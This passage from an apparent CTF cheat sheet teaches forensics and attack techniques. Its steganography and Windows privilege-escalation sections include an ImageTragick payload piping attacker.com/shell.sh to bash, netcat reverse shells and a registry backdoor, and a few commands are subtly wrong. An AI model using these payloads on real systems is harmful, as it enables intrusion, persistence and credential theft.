low-privilege account |\n| Web Shell | GET requests to .php with cmd params |\n| Reverse Shell | Outbound connection from web server user |\n| Cron Persistence | New cron jobs you didn't create |\n| SSH Key Addition | Lines added to .ssh/authorized_keys |\n\n---\n\n## 3. PCAP Network Analysis\n\n### What is a PCAP?\n\nPacket capture file containing all network traffic. Contains HTTP requests, DNS queries, FTP logins, SMB transfers, and sometimes actual file data.\n\n**When to use:**\n- CTF gives you a `.pcap` or `.pcapng` file\n- You need to find credentials sent over network\n- You need to extract files transferred between machines\n- You need to reconstruct HTTP sessions\n- You need to find C2 (command and control) traffic\n\n### Tool: tshark (Wireshark CLI)\n\n```bash\n# Install\napt-get install wireshark-common\n```\n\n#### Example 1: Extract All HTTP Requests (find web activity)\n\n```bash\n# Get all HTTP request URIs (most common starting point)\ntshark -r capture.pcap -Y \"http.request\" -T fields -e http.request.method -e http.request.uri -e http.host 2>/dev/null\n\n# Output:\n# GET /admin/index.php HTTP/1.1  | /admin/index.php | admin.example.com\n# POST /login.php HTTP/1.1      | /login.php       | admin.example.com\n\n# Find requests to admin/login pages (common CTF targets)\ntshark -r capture.pcap -Y \"http.request.uri contains 'admin'\" -T fields -e http.request.uri -e http.file_data 2>/dev/null\n\n# Find file downloads (attacker may have downloaded malware or flag)\ntshark -r capture.pcap -Y \"http.request.uri contains '.exe' or http.request.uri contains '.zip'\" -T fields -e http.request.uri 2>/dev/null\n```\n\n#### Example 2: Extract Login Credentials (HTTP POST data)\n\n```bash\n# Find all POST requests (often login forms)\ntshark -r capture.pcap -Y \"http.request.method == POST\" -T fields -e http.request.uri -e http.file_data 2>/dev/null\n\n# Output:\n# /login.php | username=admin&password=secret123\n\n# Extract HTTP Basic Authentication (base64 encoded)\ntshark -r capture.pcap -Y \"http.authbasic\" -T fields -e http.authbasic 2>/dev/null\n\n# Decode base64 (Basic auth is username:password in base64)\necho \"YWRtaW46cGFzc3dvcmQxMjM=\" | base64 -d\n# Output: admin:password123\n\n# Find form logins with specific fields\ntshark -r capture.pcap -Y \"http.request.method == POST and http.file_data contains 'password'\" -T fields -e http.file_data 2>/dev/null\n```\n\n#### Example 3: Extract FTP Credentials and File Transfers\n\n```bash\n# FTP is plaintext \u2014 find login credentials\ntshark -r capture.pcap -Y \"ftp\" -T fields -e ftp.request.command -e ftp.request.arg 2>/dev/null\n\n# Output:\n# USER administrator\n# PASS supersecret\n# RETR flag.txt                   \u2190 Attacker downloaded flag.txt\n\n# Find FTP file downloads (get actual data)\ntshark -r capture.pcap -Y \"ftp-data\" -T fields -e ftp-data 2>/dev/null | head -20\n\n# If flag.txt was transferred, find the FTP data channel\n# First find which IP is the FTP server\ntshark -r capture.pcap -Y \"ftp\" -T fields -e ip.src -e ftp.request.command 2>/dev/null | grep \"227\\|230\"\n```\n\n#### Example 4: Extract DNS Queries (find C2 domains)\n\n```bash\n# Get all DNS queries (shows what domains the victim resolved)\ntshark -r capture.pcap -Y \"dns\" -T fields -e dns.qry.name -e dns.a 2>/dev/null\n\n# Output:\n# google.com           | 142.250.185.206\n# evilc2.badguys.com   | 192.168.1.100    \u2190 Suspicious!\n\n# Find suspicious DNS (long random subdomains = malware C2)\ntshark -r capture.pcap -Y \"dns.qry.name\" -T fields -e dns.qry.name 2>/dev/null | awk 'length > 40'\n\n# Find DNS queries to suspicious TLDs (.xyz, .top, .pw)\ntshark -r capture.pcap -Y \"dns\" -T fields -e dns.qry.name 2>/dev/null | grep -E \"\\.(xyz|top|pw|cc|xyz|click)$\"\n```\n\n#### Example 5: Extract Files from HTTP Traffic\n\n```bash\n# Export all HTTP objects (images, downloads, files)\ntshark -r capture.pcap --export-objects \"http,./http_export/\" 2>/dev/null\nls ./http_export/\n\n# Then grep through exported files for the flag\ngrep -r \"RTARF{\" ./http_export/ 2>/dev/null\n\n# Or extract a specific file by reassembling TCP stream\n# First find the frame number of the download\ntshark -r capture.pcap -Y \"http.request.uri contains 'flag'\" -T fields -e frame.number 2>/dev/null\n# Then use follow to reassemble:\ntshark -r capture.pcap -Y \"frame.number == 12345\" --follow tcp-stream -0 > downloaded_file.bin\n```\n\n#### Example 6: Find Plaintext Passwords in Any Protocol\n\n```bash\n# Search entire pcap for password strings\ntshark -r capture.pcap -T fields -e data.text 2>/dev/null | grep -i \"password\"\n\n# Or search raw data\ntshark -r capture.pcap -Y \"data\" -T fields -e data 2>/dev/null | grep -i \"password\\|passwd\"\n\n# Find SMTP/IMAP/POP3 email credentials\ntshark -r capture.pcap -Y \"smtp or imap or pop\" -T fields -e data.text 2>/dev/null | grep -i \"login\\|password\"\n```\n\n#### Example 7: Reconstruct Full HTTP Session\n\n```bash\n# Get a specific HTTP stream (e.g., login to admin panel)\ntshark -r capture.pcap -Y \"http.request.uri contains 'login'\" --follow tcp-stream -0 2>/dev/null\n\n# Output shows full HTTP request + response:\n# GET /admin/login.php HTTP/1.1\n# Host: admin.example.com\n# Cookie: PHPSESSID=abc123\n#\n# HTTP/1.1 200 OK\n# Set-Cookie: admin=loggedin\n```\n\n### PCAP Analysis Quick Wins\n\n| What You Want | Command |\n|--------------|---------|\n| All HTTP URLs | `tshark -r file.pcap -Y \"http.request\" -T fields -e http.request.uri` |\n| HTTP POST data (logins) | `tshark -r file.pcap -Y \"http.request.method == POST\" -T fields -e http.file_data` |\n| FTP credentials | `tshark -r file.pcap -Y \"ftp\" -T fields -e ftp.request.command` |\n| DNS queries | `tshark -r file.pcap -Y \"dns\" -T fields -e dns.qry.name` |\n| Exported HTTP files | `tshark -r file.pcap --export-objects \"http,./export/\"` |\n| Network conversations | `tshark -r file.pcap -qz conv,ip` |\n| Top talkers | `tshark -r file.pcap -qz io,phs` |\n\n---\n\n## 4. Memory Forensics (Volatility)\n\n### What is Memory Forensics?\n\nExtracting artifacts from RAM dumps. A memory image contains decryption keys, passwords, running processes, network connections, and cached data that don't exist on disk.\n\n**When to use:**\n- CTF gives you a `.dmp` or `.mem` file\n- Target was running malware and you need to analyze it\n- You need passwords cached in memory\n- You need to find hidden processes (rootkits)\n- You need to extract encryption keys\n\n### Volatility 3 (Python 3, modern)\n\n```bash\n# Install\npip install volatility3\ngit clone https://github.com/volatilityfoundation/volatility3.git\ncd volatility3 && python3 setup.py install\n\n# Basic syntax\nvol -f memory.dmp windows.pslist    # List processes\nvol -f memory.dmp windows.psscan    # Find hidden processes\nvol -f memory.dmp windows.hashdump  # Dump password hashes\n```\n\n#### Example 1: Find Running Processes (what was running when)\n\n```bash\n# List all processes\nvol -f memory.dmp windows.pslist\n\n# Output:\n# PID   PPID  ImageFileName          Offset\n# 4     0     System                0x1a4c000\n# 488   4     svchost.exe           0x2a3c000\n# 912   780   cmd.exe              0x4b5000   \u2190 Attacker shell\n# 1100  912   conhost.exe          0x4c1000\n\n# Find suspicious processes (look for fake/masquerading names)\nvol -f memory.dmp windows.pslist | grep -i \"cmd\\|powershell\\|vnc\\|netcat\\|nc\\|backdoor\"\n\n# Find hidden/injected processes (psscan finds processes that pslist misses)\nvol -f memory.dmp windows.psscan | grep -i \"powershell\"\n```\n\n#### Example 2: Extract Password Hashes (if you have SYSTEM hive)\n\n```bash\n# Dump Windows password hashes (SAM + SYSTEM required, usually in memory)\nvol -f memory.dmp windows.hashdump\n\n# Output:\n# Administrator:500:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::\n# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\n\n# Then crack with hashcat:\n# hashcat -m 1000 hash.txt wordlist.txt\n```\n\n#### Example 3: Find Network Connections (was it connected to C2?)\n\n```bash\n# Show active network connections at time of dump\nvol -f memory.dmp windows.netscan\n\n# Output:\n# Proto  Local Address          Remote Address         State        PID\n# TCP    192.168.1.100:443     10.0.0.5:4444          ESTABLISHED  4124  \u2190 Suspicious!\n\n# Also check for listening ports\nvol -f memory.dmp windows.netscan | grep \"LISTENING\"\n```\n\n#### Example 4: Extract Clipboard Contents (attacker may have copied passwords)\n\n```bash\nvol -f memory.dmp windows.clipboard\n\n# Output:\n# Session 0:\n# Text: C:\\Users\\admin\\Documents\\secret.txt\n# Text: SuperSecretPassword123!\n```\n\n#### Example 5: Extract PowerShell Command History\n\n```bash\n# Get PowerShell command history (commands typed in PowerShell)\nvol -f memory.dmp windows.powershell\n\n# Also check for PowerShell script blocks (full scripts stored in memory)\nvol -f memory.dmp windows.powershell -v\n```\n\n#### Example 6: Find Injected Code (malware hiding in legitimate process)\n\n```bash\n# Find memory regions with injected code (MZ header in wrong place)\nvol -f memory.dmp windows.malfind\n\n# Output:\n# PID  Process  Start  End  Region  Protect  Description\n# 1234 explorer  0x2a   0x3b  Private  RWX     MZ header found\n\n# Dump suspicious memory regions for analysis\nvol -f memory.dmp windows.malfind --dump-dir ./dumps/\n```\n\n#### Example 7: Extract Registry Hives (find persistence)\n\n```bash\n# List registry hives in memory\nvol -f memory.dmp windows.registry.hives\n\n# Read a specific registry key (Run key persistence)\nvol -f memory.dmp windows.registry.printkey \\\n    --key \"Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\"\n\n# Look for persistence entries added by attacker\nvol -f memory.dmp windows.registry.printkey \\\n    --key \"Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\"\n```\n\n### Volatility Quick Reference\n\n| Command | What It Shows |\n|---------|--------------|\n| `vol -f file.dmp windows.pslist` | Running processes |\n| `vol -f file.dmp windows.psscan` | Hidden/terminated processes |\n| `vol -f file.dmp windows.netscan` | Network connections |\n| `vol -f file.dmp windows.hashdump` | Password hashes |\n| `vol -f file.dmp windows.clipboard` | Clipboard contents |\n| `vol -f file.dmp windows.powershell` | PowerShell history |\n| `vol -f file.dmp windows.malfind` | Injected code |\n| `vol -f file.dmp windows.dlllist -p PID` | DLLs loaded by process |\n| `vol -f file.dmp windows.cmdline` | Process command lines |\n| `vol -f file.dmp windows.envvar` | Environment variables |\n\n---\n\n## 5. Active Directory / LDAP\n\n### When to Use AD Commands\n\nIn Windows-focused CTFs involving Active Directory. Attacking AD = gaining domain-wide control.\n\n**Key concepts:**\n- **LDAP**: Protocol for querying AD (port 389, 636)\n- **Kerberos**: Authentication protocol (port 88)\n- **SMB/DFS**: File sharing (port 445)\n- **SPN**: Service Principal Name (attached to service accounts for Kerberos)\n- **AS-REP**: Authentication Service Reply (can be cracked if pre-auth disabled)\n- **TGS**: Ticket Granting Service (Kerberoastable tickets)\n\n### Example 1: Enumerate AD Users with ldapsearch\n\n```bash\n# Install\napt-get install ldap-utils\n\n# Anonymous bind (if LDAP allows)\nldapsearch -x -h 192.168.1.10 -b \"DC=corp,DC=local\"\n\n# Get all users\nldapsearch -x -H ldap://192.168.1.10 \\\n  -b \"DC=corp,DC=local\" \\\n  -D \"CN=admin,CN=Users,DC=corp,DC=local\" \\\n  -w 'password123' \\\n  '(objectClass=user)' \\\n  sAMAccountName userPrincipalName\n\n# Find disabled accounts\nldapsearch -x -H ldap://192.168.1.10 \\\n  -b \"DC=corp,DC=local\" \\\n  -D \"CN=admin,CN=Users,DC=corp,DC=local\" \\\n  -w 'password123' \\\n  '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))' \\\n  sAMAccountName\n```\n\n#### Example 2: Find Kerberoastable Users (SPN Users)\n\n```bash\n# Users with SPN = service accounts = Kerberoastable targets\nldapsearch -x -H ldap://192.168.1.10 \\\n  -b \"DC=corp,DC=local\" \\\n  -D \"CN=admin,CN=Users,DC=corp,DC=local\" \\\n  -w 'password123' \\\n  '(&(objectClass=user)(servicePrincipalName=*))' \\\n  sAMAccountName servicePrincipalName\n\n# Output:\n# sAMAccountName: mssql_svc\n# servicePrincipalName: MSSQLSvc/dbserver.corp.local:1433\n#                   \u2190 This account is used by SQL Server\n\n# Then crack the TGS ticket offline:\n# Get the ticket with GetUserSPNs.py, then hashcat -m 13100\n```\n\n#### Example 3: Find AS-REP Roastable Users (No Pre-Auth Required)\n\n```bash\n# Users with UF_DONT_REQUIRE_PREAUTH can have their AS-REP hash cracked\nldapsearch -x -H ldap://192.168.1.10 \\\n  -b \"DC=corp,DC=local\" \\\n  -D \"CN=admin,CN=Users,DC=corp,DC=local\" \\\n  -w 'password123' \\\n  '(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \\\n  sAMAccountName\n\n# Then crack with hashcat -m 18200\n```\n\n#### Example 4: BloodHound Data Collection\n\n```bash\n# On Kali, use BloodHound.py (no Windows needed)\npip install bloodhound\nbloodhound-python -c all \\\n  -u 'admin' -p 'password123' \\\n  -d corp.local \\\n  -dc 192.168.1.10\n\n# This creates JSON files in current directory:\n# computers.json, users.json, groups.json, trusts.json, sessions.json\n\n# Then open BloodHound GUI:\n# apt install bloodhound\n# bloodhound\n\n# Import the JSONs and query:\n# - Shortest path to Domain Admin\n# - Users with DCSync rights\n# - Kerberoastable users\n# - AS-REP roastable users\n```\n\n#### Example 5: Kerberoasting (Get TGS Ticket, Crack Offline)\n\n```bash\n# Using Impacket's GetUserSPNs\npython3 GetUserSPNs.py \\\n  -request \\\n  -dc-ip 192.168.1.10 \\\n  corp.local/admin:password123\n\n# Output:\n# Service: MSSQLSvc/dbserver.corp.local:1433\n# Hash: $krb5tgs$23$*user$realm$spn*hash:timestamp\n\n# Save hash and crack with hashcat:\nhashcat -m 13100 ticket.txt /usr/share/wordlists/rockyou.txt\n# or\njohn --format=krb5tgs ticket.txt --wordlist=rockyou.txt\n```\n\n### AD Attack Summary\n\n| Attack | When to Use | Tool |\n|--------|-------------|------|\n| LDAP Enum | Find users, groups, computers | `ldapsearch` |\n| Kerberoasting | Crack service account passwords | `GetUserSPNs.py` + hashcat |\n| AS-REP Roast | Crack passwords of users with no pre-auth | `GetNPUsers.py` + hashcat |\n| Pass-the-Hash | Authenticate with NTLM hash | `wmiexec.py`, `psexec.py` |\n| Golden Ticket | Forge Kerberos TGT with krbtgt hash | `ticketer.py` |\n| DCSync | Dump all domain hashes | `secretsdump.py` |\n| BloodHound | Map attack paths in AD | `bloodhound-python` |\n\n---\n\n## 6. File Carving & Recovery\n\n### What is File Carving?\n\nExtracting files from raw disk images, memory dumps, or network captures without relying on filesystem metadata. Uses file signatures (magic bytes) to find and extract.\n\n**When to use:**\n- Files were deleted but raw image exists\n- A file is hidden inside another file (steganography)\n- You need to extract images/documents from PCAP\n- Disk image has corrupted filesystem\n\n### Example 1: Extract Files from Disk Image with binwalk\n\n```bash\n# Install\napt-get install binwalk\n\n# Find all embedded files in image\nbinwalk image.dd\n\n# Output:\n# DECIMAL       HEXADECIMAL     DESCRIPTION\n# 0             0x0             Linux filesystem data (ext4)\n# 512           0x200           JPEG image data\n# 1048576       0x100000        ZIP archive\n\n# Automatically extract all found files\nbinwalk -e image.dd\n# Creates _image.dd.extracted/ with:\n# 0.ext2/  (Linux filesystem)\n# 200.jpg/  (JPEG that was found at offset 512)\n# 100000.zip/  (ZIP at offset 1048576)\n\n# Extract specific type only\nbinwalk -e --dd='jpg:jpg' image.dd\n```\n\n#### Example 2: Carve JPEG with foremost\n\n```bash\n# Install\napt-get install foremost\n\n# Carve all JPEG files from disk image\nforemost -t jpg -i disk_image.dd -o carved_jpgs/\n\n# Carve multiple types at once\nforemost -t all -i disk_image.dd -o carved_output/\n\n# List what foremost found\nforemost -v -t jpg -i disk_image.dd 2>&1 | grep \"Files Header\" \n```\n\n#### Example 3: Carve with scalpel (faster, configurable)\n\n```bash\n# Install\napt-get install scalpel\n\n# Configure scalpel.conf (edit /etc/scalpel/scalpel.conf or create local)\n# Example config for images and documents:\ncat > scalpel.conf << 'EOF'\njpg     y       20000000        %08d.jpg\npng     y       20000000        %08d.png\nzip     y       10000000        %08d.zip\npdf     y       5000000         %08d.pdf\ndoc     y       1000000         %08d.doc\nmp3     y       10000000        %08d.mp3\nEOF\n\n# Run scalpel\nscalpel -c scalpel.conf -i disk_image.dd -o carved/\nls carved/  # Shows jpg-*-0/, png-*-0/, etc.\n```\n\n#### Example 4: Extract Files from PCAP (network forensics)\n\n```bash\n# Export all HTTP objects from PCAP (images, downloads, etc.)\ntshark -r capture.pcap --export-objects \"http,./http_files/\"\n\n# Export SMB files\ntshark -r capture.pcap --export-objects \"smb,./smb_files/\"\n\n# Extract FTP files (FTP transfers data in clear)\ntshark -r capture.pcap -Y \"ftp-data\" -T fields -e ftp-data > extracted.bin\n\n# Find embedded files in raw PCAP with binwalk\nbinwalk capture.pcap\n\n# Extract all files from PCAP\nbinwalk -e capture.pcap\n```\n\n#### Example 5: Find Flag in Carved Files\n\n```bash\n# After carving, search all extracted files for flag\ngrep -r \"RTARF{\" carved/ 2>/dev/null\nfind carved/ -type f -exec grep -l \"flag{\" {} \\; 2>/dev/null\n\n# Search images for flag text (some CTFs embed flag in image metadata)\nexiftool carved/*.jpg 2>/dev/null | grep -i \"comment\\|description\"\n\n# Extract strings from binary files\nstrings carved/image.jpg | grep -E \"RTARF|flag{|CTF{\"\n```\n\n#### Example 6: Extract NTFS Alternate Data Streams (ADS)\n\n```bash\n# On Windows, NTFS files can have hidden streams\n# Attacker may hide data in ADS\n\n# Find files with ADS (on Windows)\ndir /r /s C:\\ 2>nul | find \":$DATA\"\n\n# Read ADS content\nmore < filename:streamname\n\n# On Linux, use ADS tools\napt-get install ntfs-3g\n# Or parse raw disk image for :$DATA patterns\nstrings disk.img | grep -E \":\\$DATA|\\.txt:\"\n\n# Find hidden data in ZIP files (sometimes flag is hidden in metadata)\nzipinfo secret.zip\nunzip -l secret.zip\n```\n\n### File Signature Reference (Magic Bytes)\n\n| File Type | Magic Bytes (Hex) | Extensions |\n|-----------|------------------|-----------|\n| JPEG | FF D8 FF | .jpg, .jpeg |\n| PNG | 89 50 4E 47 | .png |\n| ZIP | 50 4B 03 04 | .zip, .docx, .xlsx |\n| PDF | 25 50 44 46 | .pdf |\n| GIF | 47 49 46 38 | .gif |\n| MP3 | 49 44 33 | .mp3 |\n| MP4 | 00 00 00 18 66 74 | .mp4 |\n| RAR | 52 61 72 21 | .rar |\n| 7Z | 37 7A BC AF | .7z |\n| TAR | 75 73 74 61 72 | .tar |\n| ELF | 7F 45 4C 46 | (no ext, binaries) |\n\n---\n\n## 7. Hash Cracking & Passwords\n\n### When to Crack Hashes\n\nYou have a hash and need the original password. CTF hashes are almost always crackable with wordlists.\n\n### Example 1: Identify Hash Type\n\n```bash\n# Install hash-identifier\npip install hash-identifier\nhash-identifier\n\n# Or manually identify by length and format:\n# MD5: 32 hex chars = 128 bits\n# SHA1: 40 hex chars = 160 bits\n# SHA256: 64 hex chars = 256 bits\n# bcrypt: starts with $2a$, $2b$, $2y$ (expensive, slow)\n# NTLM: 32 hex chars (Windows passwords)\n# NetNTLMv2: MACHINENAME::DOMAIN:hash:hash (captured from network)\n\n# If format is $algo$salt$hash \u2192 salted hash (need algo-specific mode)\n```\n\n#### Example 2: Crack NTLM (Windows Password)\n\n```bash\n# Format of NTLM hash from /etc/shadow orSAM dump:\n# administrator:1000:aad3b435b51404eeaad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::\n\n# Extract only the hash part (LM:NT hash)\necho \"5f4dcc3b5aa765d61d8327deb882cf99\" > ntlm.txt\n\n# Crack with hashcat (mode 1000 = NTLM)\nhashcat -m 1000 ntlm.txt /usr/share/wordlists/rockyou.txt\n\n# Or with john\njohn --format=ntlm ntlm.txt --wordlist=/usr/share/wordlists/rockyou.txt\n\n# Show result\nhashcat -m 1000 ntlm.txt --show\n```\n\n#### Example 3: Crack Kerberos TGS (Kerberoasting)\n\n```bash\n# Format: $krb5tgs$23$*user$realm$spn*hash:timestamp\n# Save to file like:\n# $krb5tgs$23$*mssql_svc$CORP.LOCAL$MSSQLSvc/dbserver.corp.local:1433*\n\n# Crack with hashcat mode 13100\nhashcat -m 13100 ticket.txt /usr/share/wordlists/rockyou.txt\n\n# Or with john\njohn --format=krb5tgs ticket.txt --wordlist=rockyou.txt\n```\n\n#### Example 4: Crack AS-REP (AS-REP Roasting)\n\n```bash\n# Format from GetNPUsers.py:\n# $krb5asrep$23$user@CORP.LOCAL:hash\n\n# Crack with hashcat mode 18200\nhashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt\n```\n\n#### Example 5: Crack ZIP Password\n\n```bash\n# Use fcrackzip (fast)\nfcrackzip -u -D -p rockyou.txt secret.zip\n\n# -u = try decompress (verifies password)\n# -D = use dictionary\n# -p = password file\n\n# Or use john (zip2john to convert)\nzip2john secret.zip > hash.txt\njohn --format=zip hash.txt --wordlist=rockyou.txt\n\n# Extract with found password\nunzip -P password secret.zip\n```\n\n#### Example 6: Crack SSH Key Passphrase\n\n```bash\n# Convert SSH private key to john format\npython3 /usr/share/john/ssh2john.py id_rsa > hash.txt\n\n# Crack\njohn --wordlist=rockyou.txt hash.txt\n\n# Use with SSH\nssh -i id_rsa -o PASSWD=crackedpassword user@host\n```\n\n### Hashcat Modes Quick Reference\n\n| Mode | Hash Type | Example |\n|------|-----------|---------|\n| 0 | MD5 | `5f4dcc3b5aa765d61d8327deb882cf99` |\n| 100 | SHA1 | `5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8` |\n| 1400 | SHA256 | `e3b0c44298fc1c149afbf4c8996fb924...` |\n| 1000 | NTLM | Windows password hashes |\n| 13100 | Kerberos TGS | `$krb5tgs$23$*...` |\n| 18200 | AS-REP | `$krb5asrep$23$...` |\n| 5600 | NetNTLMv2 | `user::domain:hash:hash` |\n| 3200 | bcrypt | `$2a$...` |\n\n---\n\n## 8. Image Steganography\n\n### What is Steganography?\n\nHiding data inside images. The flag might be invisible to the eye but embedded in pixel values, EXIF data, or image structure.\n\n**When to use:**\n- An image file exists in a CTF challenge\n- The flag seems to be \"hidden\" but you can't see it\n- Image looks normal but is suspiciously large\n\n### Example 1: Extract from JPEG (EOF Hidden File)\n\n```bash\n# Check if there's a hidden file appended after JPEG\ncat image.jpg\n# If you see \"PK\" (ZIP header) or \"504b\" after the JPEG end marker (FF D9),\n# there's a ZIP embedded\n\n# Use binwalk to find and extract\nbinwalk -e image.jpg\n\n# Or manually:\n# Find where JPEG ends\ntail -c 100 image.jpg | xxd\n# If you see PK (ZIP) or other file signatures after FFD9, extract\n```\n\n#### Example 2: Steghide (Most Common CTF Tool)\n\n```bash\n# Install\napt-get install steghide\n\n# Extract hidden data (no password)\nsteghide extract -sf image.jpg\nsteghide extract -sf image.jpg -p \"\"  # empty password\n\n# Try common passwords\nsteghide extract -sf image.jpg -p \"password\"\nsteghide extract -sf image.jpg -p \"secret\"\n\n# Get info about embedded data\nsteghide info image.jpg\n```\n\n#### Example 3: Stegseek (Fast steghide cracking)\n\n```bash\n# Install\napt-get install steghide\n# or build from source:\n# git clone https://github.com/RickdeJager/stegseek.git\n# cd stegseek && make\n\n# Crack steghide password with wordlist\nstegseek image.jpg rockyou.txt\n\n# Output:\n# Cover file: image.jpg\n# Embedded file: secret.txt\n# Cracking time: 5 seconds\n# Password found: \"admin123\"\n```\n\n#### Example 4: zsteg (PNG/RGBA images)\n\n```bash\n# Install\ngem install zsteg\n\n# Detect hidden data in PNG\nzsteg image.png\n\n# Try all known methods\nzsteg -a image.png\n\n# Extract specific channel\nzsteg -E \"b1,lsb,xy\" image.png > extracted.bin\n# b1 = first bit plane, lsb = least significant bit, xy = spatial method\n\n# Try brute force all combinations\nzsteg image.png --all\n```\n\n#### Example 5: exiftool (EXIF Metadata)\n\n```bash\n# Install\napt-get install libimage-exiftool-perl\n\n# Read all metadata (may contain flag in comments)\nexiftool image.jpg\n\n# Look for:\n# Comment: Contains flag\n# Artist: RTARF{...}\n# XMP: May contain embedded XML with flag\n\n# Remove/sanitize metadata\nexiftool -Comment=\"\" image.jpg\n```\n\n#### Example 6: ImageTragick (CVE-2016-3718, ImageMagick RCE)\n\n```bash\n# If website uses ImageMagick to process uploaded images, check for RCE\n\n# Create malicious image\ncat > exploit.mvg << 'EOF'\npush graphic-context\nviewbox 0 0 640 480\nfill 'url(https://example.com/image.jpg\"|curl attacker.com/shell.sh|bash\")'\npop graphic-context\nEOF\n\n# Or use SVG with embedded shell command\ncat > exploit.svg << 'EOF'\n\n\n\n\nEOF\n\n# Upload as profile picture\n```\n\n### Steganography Quick Reference\n\n| Tool | Best For | Installation |\n|------|----------|-------------|\n| `steghide` | JPEG with steganography | `apt install steghide` |\n| `stegseek` | Crack steghide passwords | build from git |\n| `zsteg` | PNG/RGBA bit plane analysis | `gem install zsteg` |\n| `binwalk` | Embedded file detection | `apt install binwalk` |\n| `exiftool` | EXIF metadata | `apt install libimage-exiftool-perl` |\n| `strings` | Find text in images | built-in |\n| `foremost` | Carve files from images | `apt install foremost` |\n\n---\n\n## 9. Windows Privilege Escalation\n\n### When to Escalate\n\nYou have a low-privilege shell on Windows. You need SYSTEM or Administrator to read sensitive files or get the flag.\n\n**Common CTF patterns:**\n- Service binaries with weak permissions\n- Registry Run keys (persistence + privilege)\n- Misconfigured services (unquoted paths, writable services)\n- AlwaysInstallElevated policy\n- SeImpersonatePrivilege (token kidnapping)\n\n### Example 1: Find Weak Service Permissions\n\n```bash\n# From command prompt on target\nsc query\nwmic service list brief\n\n# Check if you can modify a service\nicacls \"C:\\Program Files\\Service.exe\"\n\n# If \"BUILTIN\\Users\" or \"Everyone\" has (F) or (M) on service binary \u2192 easy privesc\n# icacls output:\n# BUILTIN\\Users:(F)     \u2190 Full control, EASY WIN\n# Everyone:(M)          \u2190 Modify, EASY WIN\n\n# Exploit: Replace service binary with your payload\ncopy payload.exe \"C:\\Program Files\\Service.exe\"\nnet start ServiceName\n```\n\n#### Example 2: Unquoted Service Paths\n\n```bash\n# If service path has spaces and no quotes:\n# C:\\Program Files\\Custom App\\app.exe\n\n# Windows tries to execute in order:\n# C:\\Program.exe                      \u2190 Might exist and be writable!\n# C:\\Program Files\\Custom.exe         \u2190 Might exist!\n# C:\\Program Files\\Custom App\\app.exe  \u2190 Legitimate path\n\n# Check all services for unquoted paths\nwmic service get name,pathname,startname\n\n# If you find: C:\\Program Files\\My App\\bin\\server.exe\n# Check if you can write to C:\\Program.exe or C:\\Program Files\\My.exe\nicacls C:\\Program.exe\nicacls \"C:\\Program Files\\My.exe\"\n```\n\n#### Example 3: AlwaysInstallElevated (MSI as SYSTEM)\n\n```bash\n# Check if policy allows installing MSI as SYSTEM\nreg query \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\" /v AlwaysInstallElevated\nreg query \"HKCU\\SOFTWARE\\Policies\\Microsoft\\Windows\\Installer\" /v AlwaysInstallElevated\n\n# If both return 1 (enabled):\n# Generate malicious MSI\nmsfvenom -p windows/meterpreter/reverse_tcp \\\n    LHOST=10.0.0.1 LPORT=4444 \\\n    -f msi -o payload.msi\n\n# Execute as SYSTEM\nmsiexec /quiet /qn /i C:\\temp\\payload.msi\n\n# Get meterpreter shell as SYSTEM\n```\n\n#### Example 4: SeImpersonatePrivilege (Juicy Potato/Rogue Potato)\n\n```bash\n# Check if you have SeImpersonatePrivilege\nwhoami /priv\n\n# If SeImpersonatePrivilege is enabled:\n# Download Juicy Potato (for older Windows) or PrintSpoofer (for Windows 10/Server 2019+)\n\n# On Kali, download:\nwget https://github.com/antonioCoco/JuicyPotato/releases/download/v1.1/JuicyPotato.exe\n\n# Or PrintSpoofer:\nwget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer.exe\n\n# On target, exploit:\nPrintSpoofer.exe -c \"cmd.exe /c whoami\"\n# Should return: nt authority\\system\n\n# Get reverse shell as SYSTEM:\nPrintSpoofer.exe -c \"nc.exe -e cmd.exe 10.0.0.1 4444\"\n```\n\n#### Example 5: Registry Run Key Persistence + Escalation\n\n```bash\n# Check current user's Run keys (persistence)\nreg query \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\nreg query \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\"\n\n# If you can write to any of these, add a malicious entry\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\" \\\n    /v \"Backdoor\" /t REG_SZ \\\n    /d \"C:\\temp\\nc.exe -e cmd.exe 10.0.0.1 4444\" /f\n\n# When user logs in, you get shell\n# This also works for privesc if the Run key is in HKLM (system-wide)\n# and the user can restart a service\n```\n\n#### Example 6: Find Stored Passwords on Windows\n\n```bash\n# Check for passwords in registry (often used by installers)\nreg query \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\"\nreg query \"HKCU\\Software\\ORL\\WinVNC4\\Password\"\n\n# Find in SAM hive (if system was booted and you have SYSTEM hive)\n# Use creddump or saminside\n\n# Check for saved credentials\ncmdkey /list\n\n# Check for unattend.xml (answer file with embedded password)\ntype C:\\Windows\\Panther\\unattend.xml | findstr /i \"password\"\n\n# Check for other config files\ndir /s /b C:\\*.xml C:\\*.ini C:\\*.cfg 2>nul | xargs grep -l \"password\" 2>nul\n```\n\n### Windows PrivEsc Quick Reference\n\n| Technique | When It Works | How to Check |\n|-----------|---------------|-------------|\n| Weak Service Binaries | Everyone can modify service exe | `icacls service.exe` |\n| Unquoted Paths | Path has spaces, no quotes | `wmic service get pathname` |\n| AlwaysInstallElevated | Policy enabled in registry | `reg query ... AlwaysInstallElevated` |\n| SeImpersonatePrivilege | Token priv available | `whoami /priv` |\n| Stored Passwords | Password in registry/files | `reg query ... password` |\n| DLL Hijacking | App searches PATH for DLL | Check PATH + vulnerable app |\n| Startup Persistence | Can write to startup folder/registry | Check Run keys |\n\n---\n\n## 10. AD CS & Kerberos Attacks\n\n### What are AD CS Attacks?\n\nActive Directory Certificate Services attacks abuse Microsoft's PKI to request certificates that grant domain privileges. Very powerful in modern Windows environments.\n\n### Example 1: 